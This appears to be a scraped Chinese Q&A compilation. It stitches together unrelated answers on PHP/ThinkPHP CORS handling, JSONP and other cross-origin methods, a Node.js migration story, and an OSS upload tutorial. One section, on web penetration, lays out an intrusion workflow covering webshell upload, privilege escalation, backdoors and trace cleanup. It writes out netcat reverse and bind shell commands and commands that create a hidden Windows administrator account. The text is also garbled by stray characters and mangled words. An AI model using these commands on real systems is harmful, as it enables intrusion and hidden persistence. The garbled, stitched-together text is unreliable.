① thinkphp6解決 CORS 跨域
1,在app/middleware.php中添加
中間件,這樣就改成了
*是不安全的,可沖早以在config/cookie.php配置cookie 有效域名的domain
如果介面悶判凳請求發送了token,會提示Access-Control-Allow-Headers這個問題螞旅,tp6默認是這樣
可以在'Access-Control-Allow-Headers' 這一樣加上XXX-token,
我在搞這個時還遇見post請求變成get
把method改成了type
② PHP怎麼上傳圖片路徑,怎麼獲取圖片路徑
$filePath 應該是上傳的臨時文件吧,然後將$filePath,這個文件移動到 $uploadPath,$uploadPath,應該就 你已經上傳的圖片的路徑!包含圖片文件的名稱。
③ 跨域問題解決方法
跨域?他是瀏覽器的 同源策略 造成的,是瀏覽器對javascript施加的安全限制。所謂同源是指:域名、協議、埠均相同。
解決
原理:利用標簽具有可跨域的特性,可實現跨域訪問介面,需要後端的支持。
伺服器在收到請求陪坦後,解析參數,計算返還數據,輸出messagetow(data)字元串。
缺點:只能發送get請求,無法訪問伺服器的響應文本(單向請求),即只能獲取數據不能改數據。
通過ajax請求不同域的實現,底層不是靠XmlHttpRequest而是script,所以不要被這個方法給迷惑了。
在ajax請求中類型如果是type是get post,其實內部都只會用get,因為其跨域的原理就是用的動態載入script的src,所以我們只能把參數通過url的方式傳遞
其實jquery內部會轉化成
http://192.168.31.137/train/test/jsonpthree?callback=messagetow
然後動態載入http://192.168.1.114/yii/demos/test.php?backfunc=jQuery2030038573939353227615_1402643146875&action=aaron">
http://192.168.1.114/yii/demos/test.php?backfunc=jQuery2030038573939353227615_1402643146875&action=aaron"><script type="text/javascript" src=" http://192.168.31.137/train/test/jsonpthree?callback=messagetow "></script>
http://192.168.1.114/yii/demos/test.php?backfunc=jQuery2030038573939353227615_1402643146875&action=aaron">
http://192.168.1.114/yii/demos/test.php?backfunc=jQuery2030038573939353227615_1402643146875&action=aaron">
Cross-Origin Resource Sharing(CORS)跨域資源共享是一份瀏覽器技術的規范,提供了 Web 服務從不同域傳來沙盒腳本的方法,以避開瀏覽器的同源策略,確保安全的跨域數據傳輸。現代瀏覽器使用CORS在API容器如XMLHttpRequest來減少HTTP請求的風險來源。與 JSONP 不同,CORS 除了 GET 要求方法以外也支持其他的 HTTP 要求。伺服器一般需要增加如下響應頭的一種或幾種:
跨域請求默認不會攜帶Cookie信息,如果需要攜帶,請配置下述參數:
window.name通過在iframe(一般動態創建i)中載入跨域HTML文件來起作用。然後,HTML文件將傳遞給請求者的字元串內容賦值給window.name。然後,請求者可以檢索window.name值作為響應。
iframe標簽的跨域能力;
window.name屬性值在文檔刷新後依舊存在的能力(且最大允許2M左右)。
每個iframe都有包裹它的window,而這個window是top window的子窗口。 contentWindow 屬性返回<iframe>元素的Window對象。你可以使用這個Window對象來訪問iframe的文檔及其內部DOM。
HTML5新特性,可以用來向其他所有的 window 對象發送消息。需要注意的是我們必須要保證所有的腳本執行完才發送 MessageEvent,如果在函數執行的過程中調用了它,就會讓後面的函數超時無法執行。
前提條件:這兩個域名必須首跡屬於同一個基礎域名!而且所用的協議,埠都要一致,否者亂並則無法利用document.domain進行跨域,所以只能跨子域
在 根域 范圍內,允許把domain屬性的值設置為它的上一級域。例如,在」aaa.xxx.com」域內,可以把domain設置為 「xxx.com」 但不能設置為 「xxx.org」 或者」com」。
現在存在兩個域名aaa.xxx.com和bbb.xxx.com。在aaa下嵌入bbb的頁面,由於其document.name不一致,無法在aaa下操作bbb的js。可以在aaa和bbb下通過js將document.name = 'xxx.com';設置一致,來達到互相訪問的作用。
WebSocket protocol 是HTML5一種新的協議。它實現了瀏覽器與伺服器全雙工通信,同時允許跨域通訊,是server push技術的一種很棒的實現。相關文章,請查看: WebSocket 、 WebSocket-SockJS
**需要注意:**WebSocket對象不支持DOM 2級事件偵聽器,必須使用DOM 0級語法分別定義各個事件。
同源策略是針對瀏覽器端進行的限制,可以通過伺服器端來解決該問題,例如nginx
DomainA客戶端(瀏覽器) ==> DomainA伺服器 ==> DomainB伺服器 ==> DomainA客戶端(瀏覽器)
④ php如何解決跨域問題
PHP 跨域問題的解決方法常見有以下轎旅幾種:
使用歷則 JSONP:肢帆棚通過動態創建 script 標簽的方式,可以實現從不同的域名請求數據。
使用 CORS(跨域資源共享):通過在服務端設置 Access-Control-Allow-Origin 響應頭,來允許特定域名請求數據。
使用代理:通過代理伺服器請求數據,避免了跨域問題。
使用 Nginx 反向代理:通過配置 Nginx 反向代理,來實現跨域請求。
以下是使用 CORS通過添加響應頭來解決跨域問題的一個例子:
// 設置允許來自任何域名的請求
header("Access-Control-Allow-Origin: *");
// 設置允許請求方法(例如GET、POST等)
header("Access-Control-Allow-Methods: GET, POST, PUT, DELETE");
// 設置允許請求頭
header("Access-Control-Allow-Headers: X-Requested-With, Content-Type");
// 如果請求是通過 AJAX 發起的,還需要在請求頭中添加 X-Requested-With: XMLHttpRequest。
如果對你有所幫助,就點個贊再走吧~
⑤ web滲透是什麼
Web滲透測試分為白盒測試和黑盒測試,白盒測試是指目標網站的源碼等信息的情況下對其滲透,相當於代碼分析審計。而黑盒測試則是在對該網站系統信息不知情的情況下滲透,以下所說的Web滲透就是黑盒滲透。
Web滲透分為以下幾個步驟,信息收集,漏洞掃描,漏洞利用,提權,內網滲透,留後門,清理痕跡。一般的滲透思路就是看是否有注入漏洞,然後注入得到後台管理員賬號密碼,登錄後台,上傳小馬,再通過小馬上傳大馬,提權,內網轉發,進行內網滲透,掃描內網c段存活主機及開放埠,看其主機有無可利用漏洞(nessus)埠(nmap)對應服務及可能存在的漏洞,對其利用(msf)拿下內網,留下後門,清理痕跡。或者看是否有上傳文件的地方,上傳一句話木馬,再用菜刀鏈接,拿到資料庫並可執行cmd命令,可繼續上大馬.........思路很多,很多時候成不成功可能就是一個思路的問題,技術可以不高,思路一定得騷。
信息收集
信息收集是整個流程的重中之重,前期信息收集的越多,Web滲透的成功率就越高。
DNS域名信息:通過url獲取其真實ip,子域名(Layer子域名爆破機),旁站(K8旁站,御劍1.5),c段,網站負責人及其信息(whois查詢)
整站信息:伺服器操作系統、伺服器類型及版本(Apache/Nginx/Tomcat/IIS)、資料庫類型(Mysql/Oracle/Accees/Mqlserver)、腳本類型(php/jsp/asp/aspx)、CMS類型;
網站常見搭配為:
ASP和ASPX:ACCESS、SQLServer
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL
敏感目錄信息(御劍,dirbust)
開放埠信息(nmp)
漏洞掃描
利用AWVS,AppScan,OWASP-ZAP,等可對網站進行網站漏洞的初步掃描,看其是否有可利用漏洞。
常見漏洞:
SQL注入
XSS跨站腳本
CSRF跨站請求偽造
XXE(XML外部實體注入)漏洞
SSRF(服務端請求偽造)漏洞
文件包含漏洞
文件上傳漏洞
文件解析漏洞
遠程代碼執行漏洞
CORS跨域資源共享漏洞
越權訪問漏洞
目錄遍歷漏洞和任意文件讀取/下載漏洞
漏洞利用
用工具也好什麼也好對相應漏洞進行利用
如:
Sql注入(sqlmap)
XSS(BEEF)
後台密碼爆破(burp)
埠爆破(hydra)
提權
獲得shell之後我們許可權可能很低,因此要對自己提權,可以根據伺服器版本對應的exp進行提權,對於Windows系統也可看其補丁對應漏洞的exp進行提權
內網滲透
首先進行埠轉發可用nc
nc使用方法:
反向連接
在公網主機上進行監聽:
nc-lvp 4444
在內網主機上執行:
nc-e cmd.exe 公網主機ip4444
成功之後即可得到一個內網主機shell
正向連接
遠程主機上執行:
nc-l -p 4444 -t -e cmd.exe
本地主機上執行:
nc-vv 遠程主機ip4444
成功後,本地主機即可遠程主機的一個shell
然後就是對內網進行滲透了,可以用主機漏洞掃描工具(nessus,x-scan等)進行掃描看是否有可用漏洞,可用msf進行利用,或者用nmap掃描存活主機及開放埠,可用hydra進行埠爆破或者用msf對埠對應漏洞得到shell拿下內網留後門
留後門
對於網站上傳一句話木馬,留下後門
對於windows用戶可用hideadmin創建一個超級隱藏賬戶
手工:
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
這樣的話在cmd命令中看不到,但在控制面板可以看到,還需要改注冊表才能實現控製版面也看不到,太過麻煩,不多贅述,所以還是用工具省心省力。
⑥ Node.js代碼轉php
如果你們開發團隊正在使用PHP,並考慮遷移到Node.js,這篇文章很適合你。本文並不探討從PHP移植到Node.js的細節,以及Node.js的基礎知識。而是涵蓋:決策制定、著手點的描述、編寫 Node.js 伺服器的深層次注意事項、以及部署策略。
為什麼遷移?
1stdibs 決定從 Apache/PHP 遷移到 Node.js+Express 有五個理由:
代碼更少
全棧式JS
開發人員幸福度更高
投入回報率
未來的優化
代碼更少
1stdibs基於面向服務體系架構(SAO),前端調用後台的Java服務。這意味著需要同時維護前端模型,以及服務端PHP和客戶端JS模板。試想一下,如果可以擺脫PHP,就能夠統一前端展現與後台模型於一種語言:JavaScript(同時可以合並一些模板)。從維護的角度來看,這么做代碼更簡潔,並且沒有重復邏輯。
同構JavaScript萬歲!
全棧式JS(及其優點)
整個開發棧使用一種語言很簡便。對開發者來說,較少的環境切換使他們開心和高效。額外的好處是工具使用更簡單。相比之前使用Composer和npm兩個包管理器,現在只需要一個。盡管Composer很出色,由於nbp負責工具和客戶端管理,nbp總是必要的。一旦去掉所有的PHP代碼,nbp將成為僅有的包管理器。
開發人員樂意
我們要保證開發人員的技能集得到擴展、職業生涯不斷發展,這一點很重要。對於JavaScript工程師而言,Node.js極具吸引力。能夠在服務端使用與客戶端相同的工具、風格和模式,是非常順手和高效的。此外,Node.js相當流行,在企業級開發上也得到了長足發展。Node.js是JavaScript工程師的必備技能。
投入回報率
我們在招聘優秀的JS工程師和培訓初級JS工程師方面花了大價錢。由於客戶端棧很復雜,我們需要高級JavaScript工程師。我們不再僱用PHP工程師,僅僅僱用了JavaScript工程師。我們的觀點是,為什麼不培養他們在服務端的技能呢?
未來的優化
長遠而言,我們打算把兩個龐大的應用分割成一系列獨立部署的小應用。這很容易通過Node.js、Express和nbp實現。理論上,PHP(比如使用Slim)可以做同樣的事。但我們非但得不到上述好處,還會搞得一團糟:在Apache/PHP上進行操作會更加復雜,基礎設施也會變得有些奇怪。
選擇框架
那個最終被我們用Node.js替換掉的PHP應用,主要有如下職責:
登錄和授權
路由選擇和服務端模板引擎(服務HTML)
引導前端應用
代理服務(為了迴避CORS)
服務靜態資源(js,css,images)
這些就是我們需要替換掉的基本功能。
我們嘗試過不少框架,Express令人嘆為觀止(試一下我們評估過的spreadsheet)。任何未基於Express 的框架看起來都不靠譜。Express通俗易懂,並有良好的文檔。另外,可以招聘到正經培訓過Express的人。
我們添加了一些kraken的核心模塊(express-enrouten用於路由選擇、lusca負責安全);此外,i18n-node提供國際化支持,模板引擎使用Swig(我們後來放棄了Swig。呵呵,開源軟體還是有風險的)。
我們考慮過全盤使用kraken,但是從原來的服務端php模板引擎Twig切換到Swig直截了當,還很快捷。此外,kraken裡面的Dust和i18n也不討人喜歡。
編寫伺服器
選好了框架,下一步該寫伺服器了。
使用Apache+PHP時,你不需要再寫一個伺服器。Apache本身就是伺服器,PHP是應用。如果使用Node.js,伺服器和應用是同一個。從Apache/PHP轉到PHP,你需要處理一些之前自然而然使用的功能,這一點很重要。使用Apache,你(或者系統管理員)配置伺服器,在PHP應用里完全不用關心Apache為你處理的那些事。Node.js卻以一種不同的方式來工作。
提供靜態文件服務
毋庸置疑,提供靜態文件服務是Apache的核心功能。Node.js與此不同,你要在應用中配置靜態文件服務。幸運的是這很簡單,有良好的文檔說明,並且是在Express中實現的。
日誌
很多基本的Apache配置為你提供訪問日誌和錯誤日誌。使用Node.js時,估計你也猜到了,同樣需要在應用中配置。所幸很多優秀的開源軟體包使之變得很簡單。Morgan是一個基本的請求日誌記錄器,它配置簡單,允許你把日誌寫到輸出流(標准輸出設備或文件)。如果你需要把日誌寫到資料庫,或者有別的(更高級的)日誌需求,那就試一下winston吧。
代理
我們有一個基本需求:能夠代理傳輸客戶端ajax請求到後台服務。相比於處理CORS頭,代理所有來自相同域的請求要簡單得多。但你要想通過代理使用webpack-dev-server(正如我們所做的),就必須在Node.js應用中處理這一問題。http-proxy是一個簡單可靠的解決方案。
剩下的工作
除了上面提到的,還有一些列別的工作需要完成。我們從一個MVC應用談起,該應用基於 CodeIgniter(CI)框架,為一系列單頁應用提供服務。大部分工作就是移植:
CI控制器移植到Express路由選擇器和中間件(包括登錄和認證)
Twig模板引擎移植到Swig(這一步比較瑣碎)
Service層數據訪問(以便正常啟動客戶端單頁應用)
上面並未列出CodeIgniter模型這一關鍵組件。事實上根本不用重寫PHP模型!太給力了!我們的客戶端應用使用Backbone模型。當然這要擴展Backbone.Model.sync,從而使之全局地工作在伺服器和客戶端。
部署
如果你的app規模較大,不應該一次性全部上線。可以通過漸進式部署的方式逐步上線。我們因此花費了好幾周。
漸進式部署的優點:
最小化bug范圍
每次在發布一部分路由及功能的同時,其他工程師可以正常進行開發
對正在進行的功能開發和改進影響最小 — 新功能可以繼續發布(這可能導致重復的工作)
如果操作得當,可以快速回滾到之前的服務
NGINX很不錯
該如何逐步上線呢?我們在眾多的伺服器中挑選了Nginx。
1
2
3
4
5
+----------+
http | |--->
Apache/PHP
request---->| Nginx
|
| |--->
Node.js
+----------+
Nginx允許你一次只「打開」一個路由(如果發現情況不妙就關掉 — 正如我們多次遇到的),這給了你很大的自由度。我們也發現打開路由的時候不用部署代碼,這很有幫助。這在一周一次的發布計劃里,為我們提供了一些迴旋空間。
不過有一個缺點,你需要確保客戶端代碼同時接受舊的Apache/PHP伺服器和新的Node.js伺服器提供的服務。這並不可怕,不過你要把舊伺服器上未優化的功能移植到新的伺服器。屏住呼吸去做吧(記得寫一個便利貼去清理你的技術債)。
總結
從頭到尾,整個移植工作大概花費了一年。這聽起來可能有點荒謬,不過這個時間表包括決策過程(比較匆忙)、基於Express寫一個滿足需求的核心框架、移植所有功能、逐步漸進式上線。此外,請記住,我們始終只有一兩個開發者為之工作 — 並且是兼職。
如果你想嘗試一下,請慎重考慮。你的團隊能否受益?你的整個組織能否受益?如果你來自商業組織,請記住商業需要持續運轉。你需要在商業目標和工程目標之間找到良好的平衡。
⑦ php跨域問題(cors)
ajax跨域需要用jsonp方式的,
php跨域 這個你可以用curl,
至於你那個 自己用debug看下吧!
⑧ JSP ajax跨域問題 怎麼處理 原因:CORS 頭缺少 'Access-Control-Allow-Origin')。
在伺服器端(如果是php的話)設置:header("Access-Control-Allow-Origin:*");
在客戶端設置withCredentials:false和crossDomain
$.ajax({
type:"post",
async:true,
url:".....",//
xhrFields:{
withCredentials:false
},
crossDomain:true,
......
另外還有一種方式是通過jsonp的方式來解決,不過我沒有測試成功
}
https: //blog.csdn.net/AiHuanhuan110/article/details/89475333#commentBox
https: //developer.mozilla.org/zh-CN/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials
網頁鏈接
網頁鏈接
⑨ 使用金山雲的phpSDK報錯了,有誰知道嗎T.T
目的
本教程的目錄是通過三個例子介紹如何在Html表單提交直傳OSS第一個例子:講解簽名在客戶端(Javascript)完成,然後直接通過表單上傳到OSS, 注意這個例子有安全風險,推薦使用第二個例子和第三個例子第二個例子:講解簽名在服務端(php)完成,然後直接通過表單上傳到OSS第三個例子:講解簽名在服務端(php)完成, 並且服務端面設置了上傳後回調。然後直接通過表單上傳到OSS,OSS回調完應用伺服器再返回給用戶。
背景
每個用OSS的用戶,都會用到上傳。由於是網頁上傳,其中包括一些APP裡面的html5頁面,對上傳的需求很強烈,很多人採用的做法是用戶在瀏覽器/APP上傳到應用伺服器,然後應用伺服器再把文件上傳到OSS。
這種方法有三個缺點,
第一:上傳慢,先上傳到應用伺服器,再上傳到OSS,網路傳送多了一倍,而且OSS是採用BGP帶寬,能保證各地各運營商的速度。
第二:擴展性不好,如果後續用戶多了,應用伺服器會成為瓶頸。
第三:費用高,因為OSS上傳流量是免費的。如果數據直傳到OSS,不走應用伺服器。那麼將能省下幾台應用伺服器。
改進方案1:客戶端用JS直接簽名,然後上傳到OSS示例
下面我將介紹用plupload ,在JS端簽名然後直傳數據到OSS的例子用戶電腦瀏覽器測試樣例:http://oss-demo.aliyuncs.com/oss-h5-upload-js-direct/index.html用手機測試該上傳是否有效。二維碼:可以用手機(微信,QQ,手機瀏覽器等)掃一掃試試(這個不是廣告,只是上述網址的二維碼。這為了讓大家看一下這個實現能在手機端完美運行。)文件上傳是上傳到一個測試的公共 bucket , 會定時清理,所以不要傳一些敏感及重要數據代碼下載
oss-h5-upload-js-direct.tar.gz (381 K) 下載次數:1100原理
本例子的功能
1.採用plupload 直接提高表單數據(即PostObject)到OSS2.支持html5,flash,silverlight,html4 等協議上傳3. 可以運行在PC瀏覽器,手機瀏覽器,微信等4.可以選擇多文件上傳
5.顯示上傳進度條
6.可以控制上傳文件的大小
OSS的PostObject API細節可以參照(看不懂沒有關系):
https://docs.aliyun.com/#/pub/oss/api-reference/object&PostObjectplupload
plupload是一款簡單易用且功能強大, 擁有多種上傳方式,(html5, flash, silverlight, html4)等方式,會智能檢測當前環境選擇最適合的方式,並且會優先採用Html5, 所以不用花心思去當前的瀏覽器要用何種方式上傳,plupload會幫您考慮好。
關鍵代碼
因為OSS原生支持POST協議。所以只要將plupload在發送POST請求時,帶上OSS簽名即可。
核心代碼如下:
復制代碼
var uploader = new plupload.Uploader({
runtimes : 'html5,flash,silverlight,html4',browse_button : 'selectfiles',
//runtimes : 'flash',
container: document.getElementById('container'),flash_swf_url : 'lib/plupload-2.1.2/js/Moxie.swf',silverlight_xap_url : 'lib/plupload-2.1.2/js/Moxie.xap',url : host,
multipart_params: {
'Filename': '${filename}',
'key' : '${filename}',
'policy': policyBase64,
'OSSAccessKeyId': accessid,
'success_action_status' : '200', //讓服務端返回200,不然,默認會返回204'signature': signature,
},
....
}
簽名signature主要是對policyText進行簽名,最簡單的例子如下:
復制代碼
var policyText = {
"expiration": "2020-01-01T12:00:00.000Z", // 設置該Policy的失效時間,超過這個失效時間之後,就沒有辦法通過這個policy上傳文件了"conditions": [
["content-length-range", 0, 1048576000] // 設置上傳文件的大小限制,如果超過了這個大小,文件上傳到OSS會報錯的]
}
Cors
注意:如果一定要保證bucket屬性Cors設置支持POST方法。因為這個HTML直接上傳到OSS,會產生跨域請求。必須在bucket屬性裡面設置允許跨域設置如下圖:
進階篇-應用伺服器php返回簽名
背景
上述例子有一個很嚴重的安全隱患。就是OSS AccessId/AccessKey暴露在前端頁面。可以隨意拿到accessid/accesskey. 這是非常不安全的做法將此例子進化,簽名及上傳policy從後端php代碼取。
請求邏輯是:
1.客戶端要上傳圖片時,到應用伺服器取上傳的policy及簽名2.客戶端拿到簽名直接上傳到OSS
示例
直接用網頁訪問:http://oss-demo.aliyuncs.com/oss-h5-upload-js-php/index.html用手機測試該上傳是否有效。二維碼:可以用手機(微信,QQ,手機瀏覽器等)掃一掃試試(這個不是廣告,只是上述網址的二維碼。這為了讓大家看一下這個實現能在手機端完美運行。)文件上傳是上傳到一個測試的公共 bucket , 會定時清理,所以不要傳一些敏感及重要數據代碼下載
oss-h5-upload-js-php.tar.gz (382 K) 下載次數:600原理
設置plupload 上傳參數如下:
復制代碼
multipart_params: {
'key' : key + '${filename}'//後面會介紹到,key是應用伺服器返回的,指定用戶必須以這個前綴上傳文件。
'policy': policyBase64,
'OSSAccessKeyId': accessid,
'success_action_status' : '200', //讓服務端返回200,不然,默認會返回204'signature': signature,
},
js最主要是從後端取到policyBase64, 及accessid,及signature這三個變數。 往後端取這三個變數核心代碼如下:
復制代碼
phpUrl = './php/get.php'
xmlhttp.open( "GET", phpUrl, false );
xmlhttp.send( null );
var obj = eval ("(" + xmlhttp.responseText+ ")");host = obj['host']
policyBase64 = obj['policy']
accessid = obj['accessid']
signature = obj['signature']
expire = parseInt(obj['expire'])
key = obj['dir']
現在咱們來一起解析一下xmlhttp.responseText(這個是我設計的范圍,並不一定要求是以下的格式,但是必須有signature, accessid, policy這三個值)復制代碼
{"accessid":"6MKOqxGiGU4AUk44",
"host":"http://post-test.oss-cn-hangzhou.aliyuncs.com","policy":"","signature":"I2u57FWjTKqX\/AE6doIdyff151E=","expire":1446726203,"dir":"user-dir/"}
第一個變數accessid: 指的用戶請求的accessid,注意單知道accessid, 對數據不會有影響。
第二個變數host: 指的是用戶要往哪個域名發往上傳請求。
第三個變數policy:指的是用戶表單上傳的策略policy, 是經過base64編碼過的字元串第四個變更signature:是對上述第三個變數policy簽名後的字元串第五個變數expire:指的是當前上傳策略失效時間,這個變數,並不是用來發送到OSS,因為這個已經指定在policy裡面,這個變數的含義,後面講。
現在咱們分析一下policy的內容,將其解碼後的內容是:
復制代碼
{"expiration":"2015-11-05T20:23:23Z",
"conditions":[["content-length-range",0,1048576000],["starts-with","$key","user-dir\/"]]
這里有一個關鍵的地方,PolicyText指定了該Policy 上傳失效的最終時間。即在這個失效時間之前,都可以利用這個policy上傳文件,所以沒有必要每次上傳,都去後端取簽名。減少後端的壓力。在這里我的設計是:初始化上傳時,每上傳一個文件後,取一次簽名。然後再上傳時,將當前時間跟簽名時間對比,看是簽名時間是否失效了。如果失效了,就重新取一次簽名,如果沒有失效就不取。這里就用到了第五個變數expire核心代碼如下:
復制代碼
now = timestamp = Date.parse(new Date()) / 1000;[color=#000000]//可以判斷當前expire是否超過了當前時間,如果超過了當前時間,就重新取一下.3s 做為緩沖[/color]
if (expire < now + 3)
{
.....
phpUrl = './php/get.php'
xmlhttp.open( "GET", phpUrl, false );
xmlhttp.send( null );
......
}
return .
再看一下上面policy 的內容比上面增加了starts-with, 這個指定此次上傳的文件名,必須是user-dir開頭(這個字元串,用戶可以自己指定)為什麼要增加這個的含義是:很多場景,一個應用一個bucket,不同用戶的數據,為了防止數字覆蓋,每個人上傳到OSS,可以有特定的前綴。那麼問題來了,那用戶獲取到這個policy後,是不是在失效期內,都能修改上傳前綴,從而上傳到別人的目錄呢?所以,應用伺服器可以在上傳時就指定讓用戶傳文件時,必須是某個前綴。如果用戶拿到了policy他也沒有辦法上傳別人的前綴上。保證了數據的安全性。
終級篇--應用伺服器php返回簽名及採用上傳回調背景
當採用第二個方案後,問題來了,用戶來了數據,並且上傳數據後,很多場景下,應用伺服器都要知道用戶上傳了哪些文件,文件名字,甚至如果是圖片的話,圖片的大小等。為此OSS開發了上傳回調功能。
千萬注意
上傳回調功能目前只開放了兩個域, 杭州跟北京(即通過oss.aliyuncs.com, oss-cn-hangzhou.aliyuncs.com, oss-cn-beijing.aliyuncs.com 這三個域名能調用上傳回調)。 只有上傳域名是這兩個域,才能調用上傳回調。
增加了請求回調後,用戶的請求邏輯如下:
第一:用戶先向應用伺服器取到上傳policy和回調設置第二:應用伺服器返回上傳policy和回調
第二:用戶直接向OSS發送文件上傳請求
第三:等文件數據上傳完,OSS給用戶Response前,OSS會根據用戶的回調設置,請求用戶的伺服器。
第四:如果應用伺服器返回成功,那麼就返回用戶成功,如果應用伺服器返回失敗,那麼OSS也返回給用戶失敗。這樣確保了用戶上傳成功的照片,應用伺服器都已經收到通知了。
第五:應用伺服器給OSS返回。
第六:OSS將應用伺服器返回的內容返回給OSS。
上傳回調功能目前只開放了兩個域, 杭州跟北京(即通過oss.aliyuncs.com, oss-cn-hangzhou.aliyuncs.com, oss-cn-beijing.aliyuncs.com 這三個域名能調用上傳回調)。 只有上傳域名是這兩個域,才能調用上傳回調。
示例
示例:http://oss-demo.aliyuncs.com/oss-h5-upload-js-php-callback/index.html用手機測試該上傳是否有效。二維碼:可以用手機(微信,QQ,手機瀏覽器等)掃一掃試試(這個不是廣告,只是上述網址的二維碼。這為了讓大家看一下這個實現能在手機端完美運行。)文件上傳是上傳到一個測試的公共 bucket , 會定時清理,所以不要傳一些敏感及重要數據代碼要添加的東西
復制代碼
new_multipart_params = {
'key' : key + '${filename}',
'policy': policyBase64,
'OSSAccessKeyId': accessid,
'success_action_status' : '200', //讓服務端返回200,不然,默認會返回204'callback': callbackbody,
'signature': signature,
};
上述的callbackbody 是php服務端返回的。在本例中,從後端php取到的內容如下:
復制代碼
{"accessid":"6MKOqxGiGU4AUk44",
"host":"http:\/\/post-test.oss-cn-hangzhou.aliyuncs.com","policy":"","signature":"VsxOcOudxDbtNSvz93CLaXPz+4s=","expire":1446727949,
"callback":"uY29kZWQifQ==","dir":"user-dir\/"}
上面提到callbackbody, 就是上述返回結果裡面的callback內容,經過base64編碼後的。
解碼後的內容如下:
復制代碼
{"callbackUrl":"http://oss-demo.aliyuncs.com:23450","callbackHost":"oss-demo.aliyuncs.com",
"callbackBody":"filename=${object}&size=${size}&mimeType=${mimeType}&height=${imageInfo.height}&width=${imageInfo.width}","callbackBodyType":"application/x-www-form-urlencoded"}
內容的解析如下:
CallbackUrl: 指的是oss往這個機器發送的url請求。
callbackHost:指的的oss發送這個請求時,請求頭部所帶的Host頭callbackBody: OSS請求時,發送給應用伺服器的內容,可以包括文件的名字,大小,類型,如果是圖片可以是圖片的高度,寬度callbackBodyType: 請求發送的Content-Type
代碼下載
oss-h5-upload-js-php-callback.tar.gz (412 K) 下載次數:522應用伺服器
在上述有一個很重要的地方就是第四步和第五步,OSS與應用伺服器交互的時候,問題1:如果我是開發者,那麼我要怎麼樣確認請求是從OSS發送過來的呢?
答案:OSS發送請求時,會跟應用伺服器構造簽名。兩者通過簽名保證。
問題2: 這個簽名是怎麼做的?或者有示例代碼嗎?
答案:有的。我上面的例子裡面是Callback應用伺服器的例子是:http://oss-demo.aliyuncs.com:23450 (目前只支持linux)上面運行的代碼是:
callback_app_server.py.zip (2 K) 下載次數:365運行方案,在linux下面直接執行裡面的文件:
python callback_app_server.py
即可,程序自實現了一個簡單的http server.
是不是很簡單!!!!
總結
第一個例子:講解如何在JS直接簽名,直接表單上傳到OSS oss-h5-upload-js-direct.tar.gz (381 K)
第二個例子:講解如何在從後端PHP獲取簽名,然後直接表單上傳到OSS oss-h5-upload-js-php.tar.gz (382 K)
第三個例子:講解如何在從後端PHP獲取簽名及上傳後回調。然後直接表單上傳到OSS,OSS回調完應用伺服器再返回給用戶。 oss-h5-upload-js-php-callback.tar.gz (412 K)
⑩ IDMS系統框架
IDMS系統簡稱智能終端管理系統,包含智能終端的OTA及APP升模答碧級管理與智能終端的信息查詢與修改。
IDMS系統的系統架構來源於 Laravel 框架。
你可以將所有路由都定義在routes/web.php中。最基本的 Lumen 路由接收一個 URI 和一個閉包:
HTTP中間件提供了一個便利的機制來過濾進入應用的HTTP請求。例如,Lumen包含了一個中間件來驗證用戶是否經過授權,如果用戶沒有經過授權,中間件會將用戶重定向到登錄頁面,否則如果用戶經過授權,中間件就會舉早允許請求繼續往前進入下一步操作。
當然,除了認證之外,中間件還可以被用來處理更多其它任務。比如:CORS中間件可以用於為離開站點的響應添加合適的頭(跨域);日誌旦舉中間件可以記錄所有進入站點的請求。
所有中間件存放在 app/Http/Middleware 目錄下。
將所有的請求處理邏輯都放在單個routes.php中肯定是不合理的,你也許還希望使用控制器類組織管理這些行為。控制器可以將相關的HTTP請求封裝到一個類中進行處理。通常控制器存放在app/Http/Controllers目錄中。
通過依賴注入獲取當前HTTP請求實例,應該在控制器的構造函數或方法中對Illuminate\Http\Request類進行類型提示,當前請求實例會被服務容器自動注入:
所有路由和控制器都會返回某種被發送到用戶瀏覽器的響應,Lumen提供了多種不同的方式來返回響應,最基本的響應就是從路由或控制器返回一個簡單的字元串。